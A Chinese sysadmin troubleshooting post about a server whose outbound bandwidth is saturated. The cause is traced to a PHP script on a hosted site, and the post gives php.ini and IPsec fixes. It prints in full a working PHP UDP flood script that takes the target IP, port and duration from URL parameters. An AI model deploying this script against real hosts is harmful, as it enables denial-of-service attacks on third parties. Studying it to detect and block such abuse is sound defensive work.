服务器流出带宽满载,网络堵塞

服务器症状: 服务器带宽应用占到 70-100%,网络堵塞,网站无法访问,远程控制也连接不上

症状分析:

  1. 服务器安装了流量查看软件 DU Meter,可以看到,发送的字节增长速度很快(几乎 10m/s),收到的字节很少!
  2. 在 cmd 里用 netstat -an 查看到服务器连接的都是同一个 ip,端口都是连续的。根据这个可以判定不是 DDOS 攻击,因为 DDOS 是不断收到大量数据包。
  3. IIS 限制了网站带宽,但没有效果。
  4. 关闭 iis,带宽过一会就正常,可以判定是网站导致的!然后一个个网站排查(从来没有见过这样的情况,通过页面调用往外发包的)

排查方法:

怀疑是 php 代码调用 sockets, 直接用服务器的网络攻击别的 IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){$out .= \"X\";} 
while(1){ 
  $packets++; 
  if(time() > $max_time){break;} 
  $fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
  if($fp){fwrite($fp, $out); 
    fclose($fp); 
  } 
} 
echo \"Packet complete at \".time(\'h:i:s\').\"with $packets (\" . round(($packets*65)/1024, 2) . \"mB) packets averaging \". round($packets/$exec_time, 2) . \"packets/s \\n\"; 
?>

工作原理:

通过 url 传递 IP 和端口以 udp 的方式打开. 传递文件到服务器写出。

解决方法:

在 php.ini 里设置:

disable_functions =gzinflate;
allow_url_fopen = Off

并且:

;extension=php_sockets.dll

然后重启 IIS

如果设置了问题还没有解决,可以尝试把 udp 端口关闭!

注意: 本 ip 策略包 会关闭所有 udp 端口, 请慎用!

  • 方法 1:直接运行包里的 udp.bat
  • 方法 2:” 开始 ” 菜单 —“ 运行 ”— 输入 ”gpedit.msc”—“ 计算机配置 ”—“windows 设置 ”—-“ 安全设置 ”— 右击 ”ip 安全策略 ”—“ 所有任务 ”—“ 导入策略 ”— 选择包里的 ”udp.ipsec” 文件
正文完
 
评论(没有评论)
验证码